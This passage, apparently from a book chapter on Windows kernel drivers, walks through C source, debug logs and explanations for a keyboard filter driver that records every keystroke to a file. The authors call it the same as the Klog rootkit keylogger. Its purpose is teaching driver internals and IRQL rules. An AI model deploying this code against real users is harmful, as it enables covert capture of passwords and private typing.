if(keys[0] != 0)

{

if(pzzz->hLogFile != NULL)

{

IO_STATUS_BLOCK io_status;

ZwWriteFile(pzzz->hLogFile,NULL,NULL,NULL,&io_status,&keys,strlen(keys),NULL,NULL);

DbgPrint("Scan code '%s' successfully written to file.\n",keys);

}

}

}

return;

}

NTSTATUS DriverEntry(PDRIVER_OBJECT p,PUNICODE_STRING r)

{

int i;

Pzzz pzzz;

PDEVICE_OBJECT pgenericdevice;

CCHAR ntNameBuffer[64] = "\\Device\\KeyboardClass0";

STRING ntNameString;

UNICODE_STRING uKeyboardDeviceName;

HANDLE hThread;

IO_STATUS_BLOCK file_status;

OBJECT_ATTRIBUTES obj_attrib;

CCHAR ntNameFile[64] = "\\DosDevices\\c:\\driverm\\z.txt";

UNICODE_STRING uFileName;

DbgPrint("DriverEntry Start");

for( i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)

p->MajorFunction[i] = DispatchPassDown;

p->MajorFunction[IRP_MJ_READ] = abcRead;

IoCreateDevice(p,sizeof(zzz),0,FILE_DEVICE_KEYBOARD,0,1,&pgenericdevice);

pgenericdevice->Flags = pgenericdevice->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);

pgenericdevice->Flags = pgenericdevice->Flags & ~DO_DEVICE_INITIALIZING;

RtlZeroMemory(pgenericdevice->DeviceExtension,sizeof(zzz));

pzzz = (Pzzz)pgenericdevice->DeviceExtension;

RtlInitAnsiString( &ntNameString, ntNameBuffer );

RtlAnsiStringToUnicodeString( &uKeyboardDeviceName, &ntNameString, TRUE );

IoAttachDevice(pgenericdevice,&uKeyboardDeviceName,&pzzz->pakd);

RtlFreeUnicodeString(&uKeyboardDeviceName);

pzzz->bThreadTerminate = 0;

PsCreateSystemThread(&hThread,0,0,0,0,abc,pzzz);

ObReferenceObjectByHandle(hThread,THREAD_ALL_ACCESS,0,KernelMode,(PVOID*)&pzzz->pThreadObj,0);

ZwClose(hThread);

InitializeListHead(&pzzz->List);

KeInitializeSpinLock(&pzzz->spin);

KeInitializeSemaphore(&pzzz->sem, 0 , MAXLONG);

RtlInitAnsiString( &ntNameString, ntNameFile);

RtlAnsiStringToUnicodeString(&uFileName, &ntNameString, TRUE );

InitializeObjectAttributes(&obj_attrib, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);

ZwCreateFile(&pzzz->hLogFile,GENERIC_WRITE,&obj_attrib,&file_status,NULL,FILE_ATTRIBUTE_NORMAL,0,FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL,0);

RtlFreeUnicodeString(&uFileName);

p->DriverUnload = Unload;

DbgPrint("DriverEntry End");

return STATUS_SUCCESS;

}

 

DriverEntry Start

DispatchPassDown

DriverEntry End

Before Wait for semaphore in thread

abcRead numPendingIrps=0

abcReadOver numKeys=1 Flags=0 Scancode=21

abcReadOver After Semaphore Release numPendingIrps=1

abcRead numPendingIrps=0

After Wait for semaphore in thread

Scan Code=21

kData=81a4d768 pListEntry =81a4d768 status=0 LedFlags=2

caps=0 num=1 scroll=0

Scan code 'y' successfully written to file.

Before Wait for semaphore in thread

abcReadOver numKeys=1 Flags=1 Scancode=21

abcReadOver After Semaphore Release numPendingIrps=1

abcRead numPendingIrps=0

After Wait for semaphore in thread

Scan Code=21

kData=81b34a48 pListEntry =81b34a48 status=0 LedFlags=2

caps=0 num=1 scroll=0

Before Wait for semaphore in thread

abcReadOver numKeys=1 Flags=0 Scancode=57

abcReadOver After Semaphore Release numPendingIrps=1

abcRead numPendingIrps=0

After Wait for semaphore in thread

Scan Code=57

kData=81ad4448 pListEntry =81ad4448 status=0 LedFlags=2

caps=0 num=1 scroll=0

Before Wait for semaphore in thread

abcReadOver numKeys=1 Flags=1 Scancode=57

abcReadOver After Semaphore Release numPendingIrps=1

abcRead numPendingIrps=0

After Wait for semaphore in thread

Scan Code=57

kData=81a68208 pListEntry =81a68208 status=0 LedFlags=2

caps=0 num=1 scroll=0

Scan code ' ' successfully written to file.

Before Wait for semaphore in thread

abcReadOver numKeys=1 Flags=0 Scancode=12

abcReadOver After Semaphore Release numPendingIrps=1

abcRead numPendingIrps=0

After Wait for semaphore in thread

Scan Code=12

kData=81a67d68 pListEntry =81a67d68 status=0 LedFlags=2

caps=0 num=1 scroll=0

Scan code '-' successfully written to file.

Before Wait for semaphore in thread

abcReadOver numKeys=1 Flags=1 Scancode=12

abcReadOver After Semaphore Release numPendingIrps=1

abcRead numPendingIrps=0

After Wait for semaphore in thread

Scan Code=12

kData=81a8f2e8 pListEntry =81a8f2e8 status=0 LedFlags=2

caps=0 num=1 scroll=0

Before Wait for semaphore in thread

abcReadOver numKeys=1 Flags=0 Scancode=22

abcReadOver After Semaphore Release numPendingIrps=1

abcRead numPendingIrps=0

After Wait for semaphore in thread

Scan Code=22

kData=81652828 pListEntry =81652828 status=0 LedFlags=2

caps=0 num=1 scroll=0

Scan code 'u' successfully written to file.

Before Wait for semaphore in thread

abcReadOver numKeys=1 Flags=1 Scancode=22

abcReadOver After Semaphore Release numPendingIrps=1

abcRead numPendingIrps=0

After Wait for semaphore in thread

Scan Code=22

kData=81a9f3e8 pListEntry =81a9f3e8 status=0 LedFlags=2

caps=0 num=1 scroll=0

Before Wait for semaphore in thread

abcReadOver numKeys=1 Flags=0 Scancode=28

abcReadOver After Semaphore Release numPendingIrps=1

abcRead numPendingIrps=0

After Wait for semaphore in thread

Scan Code=28

kData=81a397c8 pListEntry =81a397c8 status=0 LedFlags=2

caps=0 num=1 scroll=0

Before Wait for semaphore in thread

Unload numPendingIrps=1

abcReadOver numKeys=1 Flags=1 Scancode=28

abcReadOver After Semaphore Release numPendingIrps=1

Unload Before Wait

After Wait for semaphore in thread

Scan Code=28

Terminating thread

Unload After Wait

 

Y –u

 

This program is one of the longest in the book, but  we have tried to be nice guys and follow all the rules of the book. We will not use the word inspired by but this program is the same as filter driver Klog found on the rootkit site. We have minor changes if any.

 

Lets explain the program starting from DriverEntry. What parts we have explained before we will gloss over. The MajorFunction array which contains an array of pointer to functions has an interminable size.

 

We have a macro IRP_MJ_MAXIMUM_FUNCTION that tells us how large this array is or how many functions we should hook. The standard practice is that we have one generic function that gets called for all the functions in the array.

 

Thus we use a for loop and set each member of the MajorFunction array to call a function DispatchPassDown. In this function we really do not do much. We first set the stack for the next driver below us using IoSkipCurrentIrpStackLocation and then call the next r using IoCallDriver and passing our keyboard handle.

 

The function we are specifically interested in like read we trap ourselves and call the function abcRead. In IoCreateDevice we ask it to allocate memory for a structure of type zzz.

 

This is a pretty big structure and in it we store all the variables that we would like to passed to all our functions like the file handle. As we start using the variables we will start explaining them. Once again the system allocated that many bytes of memory for us in the member DeviceExtension of the DEVICE_OBJECT created. The name of the variable is pgenericdevice as before.

 

Once again we need to make sure that our DEVICE_OBJECT just created has the same flags as the actual keyboard driver that we want to filter. We set here flags in this example, but in the one we did with you we set only one.

 

What we do is try and give you only those flags without which the driver will simply not work. Thus we have added the flag DO_POWER_PAGABLE and removed the flag DO_DEVICE_INITIALIZING. The program device tree tells us which flags the keyboard driver has on or off.

 

It is a good idea to zero out the memory allocated to us in the DeviceExtension member and we set the pzzz variable to this value. The reason we do it is that pzzz is a pointer to a structure zzz and thus we do not have to cast unnecessarily .

 

We have to now attach our keyboard to the main keyboard driver. Instead of using a unicode string, most people prefer first initializing a Ansi string and then using a function to convert this ansi string to unicode. Klog uses this method, so do we in this example.

 

We then use the function IoAttachDevice to attach ourselves to the keyboard and our given another DEVICE_OBJECT pointer that we use instead of the earlier one. We call this pointer pakd as the variable names we getting to large for our book.

 

This pointer is so important that we will store it in our zzz structure. It is our handle to the keyboard and will use it everywhere instead of our earlier generic handle. Like good guys we free the Unicode string and not the Ansi string.

 

We set a member bThreadTerminate of the zzz structure to 0 even though it already has such a value. What this member does will be done at the very end. We then create a system thread which calls the function abc passing the addresses of the same structure zzz.

 

Thus our thread and all functions share these variables.  We however do not want the handle of the thread and thus use the function ObReferenceObjectByHandle which converts this thread handle to a ETHREAD structure which we store in the pThreadObj member of the zzz structure.

 

We will use this member to wait until the thread finishes. Thus the function abc will execute along with the rest of our driver code in parallel. We the close the thread handle using ZwClose and not thread close as we have no use for the thread handle.

 

Our zzz structure has a member List of type LIST_ENTRY that will store the head of a doubly linked list and we use the function InitializeListHead to get Blink and Flink to point to itself. We will store all our keys pressed in a doubly linked list.

 

We next use a function KeInitializeSpinLock that initializes a spin lock for us. This is special purpose lock that does not spin like a top but we will use when we add items to our linked list. Once again we store it in our zzz structure that is passed around to everyone like a football.

 

We next initialize the semaphore sem of the zzz structure to 0. Once again we use a semaphore in the Wait function so that something can wait until something else happens. We now create a file z.txt in the driverm directory using the ZwCreateFile function using the circuitous route of first creating a ansi string, then uniocde string and then an object.

 

We however pass some hash defines to our function that we did not do. The fourth parameter is a pointer to a IO_STATUS_BLOCK structure. This comes back and tells us the final completion status like did the file get created, does it exist etc. We do not check the value ourselves and leave it to you as an exercise. A very simply structure, one union and one member called information.

 

Finally we call the function UnLoad when we unload a driver. At this point in time the thread executes the abc function. Lets look at what happens there. It is this function that writes the keys to the file on disk.

 

The first thing we do is cast the parameter passed to us as a zzz pointer because that’s what it really is. We also access the keyboard device object pakd as this is the object that represents the keyboard driver. We now enter a infinite while loop, a while(1). The first function is a WaitForSingleObject that waits on the semaphore sem whose value we set to 0.

 

Thus until someone sets the semaphore sem to 1, the thread waits or sleeps here. All that we would like you to do is simply run y –I and press enter. The thread will be waiting at the Wait and the abcRead function gets called. We have not pressed a key yet.

 

All that happens in abcRead is that we create the stack for the next driver, we specify which function to be called when the IRP come up the stack. Here we have set the last two parameters to 1 so that in all cases the Read completion function gets called. Thus our driver will pass the IRP to the next below driver and so on until the actual keyboard driver is waiting for a key press.

 

When we actually press a key, all the Read completion functions of all drivers waiting in queue will be called. We also increase the variable numPendingIrps by 1 so that we do not unload our driver if the key stroke has not gone up the stack. We are yet waiting in the thread as we have not yet increased the semaphore. We now press a key, and as the key moves up the stack our completion function abcReadOver now gets called.

 

We once again extract our zzz pointer from the DEVICE_OBJECT parameter passed. We as a check first look at the value of the status member, normally it always success. Being paranoid while writing drivers is a good thing. The SystemBuffer member as before is a pointer to a structure KEYBOARD_INPUT_DATA.

 

We now assume that there could be an array of such structures  and not a single one as we thought. The Information member gives us the size of memory available for us and dividing this by the size of the structure tells is how many structures are there. Even if we keep the key pressed, numkeys is always one. We get one key at a time.

 

We first allocate memory for a structure KEY_DATA that we use to store the scan code and Flags. This structure starts with a LIST_ENTRY structure so that we can create a doubly linked list. We set the KeyData member to the scan code and KeyFlags member to the Flags variable.

 

We then call the function ExInterlockedInsertTailList. This function is just like the InsertTailList function but with extra parameter added, the spin lock. Lets assume that we ran our driver on a mult-processor machine. It is here that we need to use spin locks so that the list is synchronized safely on multi-processor machine.

 

We cannot confirm this as we do not have a multi-processor machine. Klog uses spin locks, we had never ever used a spin lock, so we got an opportunity to use one, we grabbed it with both hands. Interlocked operations cannot cause a page fault. Spin locks are used to have atomic operations on a SMP machine.

 

The first parameter is our list head, the second the KEY_DATA pointer and the extra parameter is the spin lock. We could either pass the KEY_DATA pointer as kData or as we have &kData->ListEntry. The second form that we use does not give us a casting error. Both are the same as the structure ListEntry is the first member.

 

Now that we have added our key to the list we increase the semaphore sem by 1 so that it moves out of the Wait function in the thread. But before going over to the thread we set the Irp as pending so that others can get a crack at it. We reduce variable numPendingIrps by 1 as we have handled the keystroke and we return the status value to however called us.

 

Now back to the thread. The first thing that we do is use the function ExInterlockedRemoveHeadList to remove the first entry from the head even though we added the entry using the Tail function. We store the returned pointer in a LIST_ENTRY structure. The variable bThreadTerminate is yet 0 and when we make it 1 we will explain what it does.

 

There are many ways to skin a cat. We simply cast the LIST_ENTRY pointer to a KEY_DATA pointer and print out the value of the scan code stored in the KeyData member as z->KeyData. Another way is by using a macro CONTAINING_RECORD.

 

This is a complex way of extracting a certain member. It breaks up to

 

kData = CONTAINING_RECORD(pListEntry,struct KEY_DATA,ListEntry);

kData = ((struct KEY_DATA *)( (PCHAR)(pListEntry) - (ULONG_PTR)(&((struct KEY_DATA *)0)->ListEntry)));

 

We specify the actual pointer pListEntry returned by the Head function. The second parameter is what is the type of return pointer we need. The third is the first member that we want access to ListEntry. All that the macro does is subtract the original pointer from the first member to give us the same value. Thus both kData and pListEntry have the same value if you print them out.

 

Actually the Head and Tail functions give you a LIST_ENTRY structure but they actually are in our case a KEY_DATA entity. We have a global array KeyMap in file aa.h that simply extracts the character in key depending upon the scan code.

 

One more synchronization  object is the event and we use the function KeInitializeEvent to create one. The first parameter is the event handle and the second the type of event either notification or synchronization.

 

The third is the state, false means non signaled. The event is the simplest of all synchronization objects as unlike a semaphore it can have only two states on or off, signaled or nonsignalled. The function IoBuildDeviceIoControlRequest lets us actually send out an IRP.

 

The first parameter is the Io control code. There is a big list of them and we choose IOCTL_KEYBOARD_QUERY_INDICATORS which lets us ask the keyboard driver what is the status of the query keys. There are a zillion such IO control codes that we can use.

 

The second parameter is the DEVICE_OBJECT that we send this control code to . Our lower level drivers handle is in the pakd member of the zzz structure. Normally a driver would require some parameters that will be passed in a buffer. We would pass parameters to our driver from user space and these would be available to the driver in the SystemBuffer member.

 

As we do not require to pass any parameters  we send null. The parameter following is the length of the buffer, 0 in our case. The next two parameters are the output buffer which the driver will fill up. In our case we create a structure indParams of type KEYBOARD_ATTRIBUTES. Whenever the keyboard driver receives such a IOCTL request it expects the address of such a buffer.

 

Now in the MajorFunction array we have two values IRP_MJ_INTERNAL_DEVICE_CONTROL or IRP_MJ_DEVICE_CONTROL. If we specify true the function associated with the first #define is called. The second last parameter is the address of an event which will be set to true or the signaled state when the driver completes.

 

The last parameter is a IO_STATUS_BLOCK structure that will be filled up the driver to tell us what happened. This function actually creates a IRP structure that we use in the call to the IoCallDriver function. We pass the pakd handle and this IRP we just created.

 

The driver may execute our task immediately or it may return STATUS_PENDING. In our case it always returns 0, meaning that the job got done. If it returns STATUS_PENDING, then we have to use the Wait function with the event handle.

 

When the keyboard driver completes, it will set the event to true and we will move out of the wait. We however have not been able to test out this code. Now that our keyboard driver has been called, it comes back and gives us the status of the caps lock, scroll lock and num lock keys.

 

The member LedFlags is a series of bits that if on tells us which key is pressed. If the first bit is on, then the scroll lock key has been pressed, the second bit is for num lock and the fourth is caps lock. We have macros like KEYBOARD_CAPS_LOCK_ON which have a value of 4.

 

Thus we bitwise and LedFlags with three macros and further check if their values are 1, 2 or 4. Thus the above three variables if 1 tell us that the corresponding key was on or not. Now that we have the actual ascii value in the key variable we check if it is one of the special keys.

 

We first check the key variable for left shift or  right shift value which is scan code 2a and 36  which become in our case 3 and 4.  If true, then we set the SHIFT member of our state structure to 1 if we have pressed the key or key down. The macro KEY_MAKE or 0 is when we press a key, KEY_BREAK or 1 is when we release the key.

 

When we release the key we change the SHIFT member to 0. Thus when we press any shift key, the SHIFT member of the kstate structure is 1, otherwise 0. When we press the CTRL or ALT keys we store this state in the kCTRL or kAlt member. The space key which is given a value of 1 is handled differently.

 

Even though like all keys it has a make and a break, we consider the make and not the break. We set the first member of the keys array  to its ASCII value 32 only if we have not pressed the Alt key at the same time. When we press the enter key, key has a value of 2 and if the alt key is not pressed, we put two values in the keys array 0x0d and 0x0a.

 

Thus all that we are doing here is setting the value into the keys array. Now comes the bulk of the work in the default. We first make sure that the Ctrl or Alt key is not pressed by checking the member in the kstate structure. Then we make sure that it is a key make and not break as otherwise when we repeat a key, it will only display once as key make is called a number of times , break only once when we release the key.  

 

Then we have another if statement that checks that it is a printable key ranging from 0x21 to 7e. the space we have taken care of earlier. Now comes one last check. If the Shift key is on, then we have to display a capital instead of small. Thus we use the extended array ExtendedKeyMap to pick up the value and place it into the keys array first member.

 

If not we use the key variable directly to set the keys array. What we have to consider is if caps lock is on and then the user presses a shift, the key must be small. We leave all this to you as we are not in the right frame to write such code. Then we check that the keys[0] has  a valid value that is not 0 and the file handle is not null.

 

We then write out this value to disk. The array keys is set to 0 at the beginning of the loop. We are either filling up the first or second member, the third is always 0. Thus in the ZwWriteFile function we specify the address of this keys array and use strlen to give us the length 1 or 2. At some point in time we will unload our driver.

 

At this time the thread is waiting at the Wait function. In the unload function we first detach our device passing the pakd handle. Then we set the member bThreadTerminate to 1. As before we wait in a loop for the key release to move up. We then set the semaphore sem to 1.

 

This moves the thread into wake state and the first thing it does is checks the value of the bThreadTerminate member. As it is one, it calls a function PsTerminateSystemThread which terminates itself. A system thread should terminate itself as per the docs by calling the above function.

 

Now that the thread is dead the unload function that was waiting for the thread to die can now clean up the rest. It closes the file and deletes the device.

 

Another way of understanding the above is to follow the steps we specify to the t. First create a sub-directory C:\driverm1 and copy  a.bat from C:\driverm. The last line of a.bat is cd\driverm change that to C:\driverm1. Then copy b.bat and change the –out:vijay.sys to –out:vijay1.sys. This changes the output file name to vijay1.sys. Finally copy z.bat but make no changes. We then copy aa.h and y.c. In y.c we make three changes as.

 

#define DRV_NAME "vijayd1"

#define DRV_FILENAME "vijay1.sys"

#define DIRECTORY " C:\\driverm1"

 

The name of our service is vijayd1, the name of our sys file is vijay1.sys and the directory is C:\\driverm1. We then run z.bat first to recompile the y.c. In r.c we remove all the DbgPrint statements and then add four of them in their respective functions.

 

DbgPrint("UnLoad1");

 

DbgPrint("abcReadOver1 pIrp=%x",pIrp);

 

DbgPrint("DriverEntry1 End pgenericdevice=%x pakd=%x",pgenericdevice,pzzz->pakd);

 

DbgPrint("abcRead2 pIrp=%x currentIrpStack=%x nextIrpStack=%x",pIrp,currentIrpStack,nextIrpStack);

 

We are simply displaying the values of the Irp passed and the two device object pointers. We repeat the same process by creating a directory driver2 and replacing all the ones to 2.

 

We run y –I in all three dos boxes and then press the a key and finally unload the three drivers. We then run the device tree and find the driver Kbdclass and then the device KeyboardClass0. Its  device object starts at 0x81f63030, its driver object at 0x81f64710.

 

DriverEntry End pgenericdevice=816f0710 pakd=81f63030

 

DriverEntry1 End pgenericdevice=81e81890 pakd=816f0710

DriverEntry2 End pgenericdevice=81be8290 pakd=81e81890

 

The IoCreateDevice creates a device which is unique but the pointer given to us by IoAttachDevice pakd 81f63030 is the device object pointer the main keyboard device. This is true for the first driver vijay.sys. The second driver we create vijay1.sys has pakd of 816f0710 which is the device object address of the first driver vijay.sys.

 

The third driver vijay2.sys has a pakd of 81e81890 which is the address of the device vijay1.sys. Thus pakd points to the previous device object in the chain. The first pakd points to the keyboard driver, the second pakd to vijay1.sys and so on.

 

Thus function IoAttachDevice gives us the address of the previous device object. Thus when we use the function IoCallDriver we should give the handle of the driver to call and we give the next drivers handle to call.

 

abcRead2 pIrp=816d3008 currentIrpStack=816d3198 nextIrpStack=816d3174

abcRead1 pIrp=816d3008 currentIrpStack=816d3174 nextIrpStack=816d3150

abcRead pIrp=816d3008 currentIrpStack=816d3150 nextIrpStack=816d312c

abcReadOver pIrp=816d3008

abcReadOver1 pIrp=816d3008

abcReadOver2 pIrp=816d3008

 

The abcRead functions get called in the last placed called first order. Thus abcRead2 gets called first, then abcRead1 and then abcRead. However the abcReadOver gets called in the reverse order. First vijay.sys, then vijay1.sys and finally vijay2.

 

The Irp is the same for all the drivers in the chain. There is only one for the entire duration of the life of the driver, in our case it begins at 816d3008.  For abcRead2 the higher most driver its stack begins at 816d3198, the driver that it calls is vijay1.sys and its stack begins at 816d3174.

 

When we look at abcRead1 or vijay1.sys its stack actually begins at 816d3174 and the next stack of vijay.sys begins at 816d3150. This simply confirms what we have been saying all this time, vijay2.sys calls vijay1.sys which calls vijay.sys which calls the original keyboard driver.

 

P20

r.c

#include <ntddk.h>

#include <ntddkbd.h>

HANDLE hLogFile;

IO_STATUS_BLOCK file_status;

PDEVICE_OBJECT pactualkeyboarddevice,pgenericdevice;

UNICODE_STRING uKeyboardDeviceName;int numPendingIrps;

void Unload(PDRIVER_OBJECT pDriverObject)

{

DbgPrint("Driver Unload numPendingIrps=%d %d",numPendingIrps,KeGetCurrentIrql());

IoDetachDevice(pactualkeyboarddevice);

while(numPendingIrps > 0);

IoDeleteDevice(pgenericdevice);

ZwClose(hLogFile);

}

NTSTATUS OnReadCompletion(PDEVICE_OBJECT pDeviceObject,PIRP pIrp,PVOID Context)

{

PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;

DbgPrint("OnReadCompletion %d",KeGetCurrentIrql());

if ( keys->Flags == 0)

DbgPrint("ScanCode %d\n",keys[0].MakeCode);

IoMarkIrpPending(pIrp);

numPendingIrps--;

//ZwWriteFile(hLogFile,0,0,0,0,"vijay",3,0,0);

return pIrp->IoStatus.Status;

}

NTSTATUS abcRead(PDEVICE_OBJECT pDeviceObject,PIRP pIrp)

{

DbgPrint("abcRead %d",KeGetCurrentIrql());

IoCopyCurrentIrpStackLocationToNext(pIrp);

IoSetCompletionRoutine(pIrp, OnReadCompletion, 0, 1, 0,0);

numPendingIrps++;

return IoCallDriver(pactualkeyboarddevice ,pIrp);

}

NTSTATUS DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r)

{          

OBJECT_ATTRIBUTES attr;

CCHAR ntNameFile[64] = "\\DosDevices\\c:\\driverm\\z.txt";

UNICODE_STRING uFileName;

STRING ntNameString;

OBJECT_ATTRIBUTES obj_attrib;

DbgPrint("Vijay2 %d",KeGetCurrentIrql());

d->MajorFunction[IRP_MJ_READ] = abcRead;

IoCreateDevice(d,0,0,FILE_DEVICE_KEYBOARD,0,1,&pgenericdevice);

pgenericdevice->Flags = pgenericdevice->Flags | DO_BUFFERED_IO;

RtlInitUnicodeString(&uKeyboardDeviceName,L"\\Device\\KeyboardClass0");

IoAttachDevice(pgenericdevice,&uKeyboardDeviceName,&pactualkeyboarddevice);

RtlInitAnsiString( &ntNameString, ntNameFile);

RtlAnsiStringToUnicodeString(&uFileName, &ntNameString, TRUE );

InitializeObjectAttributes(&obj_attrib, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);

ZwCreateFile(&hLogFile,GENERIC_WRITE,&obj_attrib,&file_status,NULL,FILE_ATTRIBUTE_NORMAL,0,FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL,0);

RtlFreeUnicodeString(&uFileName);

d->DriverUnload = Unload;

return 0;

}

 

Vijay2 0

abcRead 0

OnReadCompletion 2

Driver Unload numPendingIrps=1 0

 

In the four functions called we have simply displayed the value returned by the function KeGetCurrentIrql(). This function returns for us the IRQL that the function is running at. All the functions called run at IRQL 0, the OnReadCompletion runs at IRQL 2. What we would like you to do is place the ZwWriteFile function in the OnReadCompletion and the machine gives us the blue screen of death.

 

If we had code that will call a timer, that code would run at IRQL 2 which is defined as a macro DISPATCH_LEVEL. A IRQL of zero is either PASSIVE_LEVEL or LOW_LEVEL. The highest level is 31 or HIGH_LEVEL. Looking at the help of the function ZwWriteFile it says very clearly at the last line that the called of this function must be running at IRQL passive level or 0.

 

OnReadCompletion is running at IRQL of 2 and hence we get a BsoD. Most of the Zw functions must be  called from functions running at an IRQ of 0. The function PsGetCurrentProcess also must be called from a IRQ of 0.

 

At any point in time when you see a Bsod, it could be because we are running at an IRQ that is not compatible with the IRQ the function we are calling is compatible with.

 

Back to the main page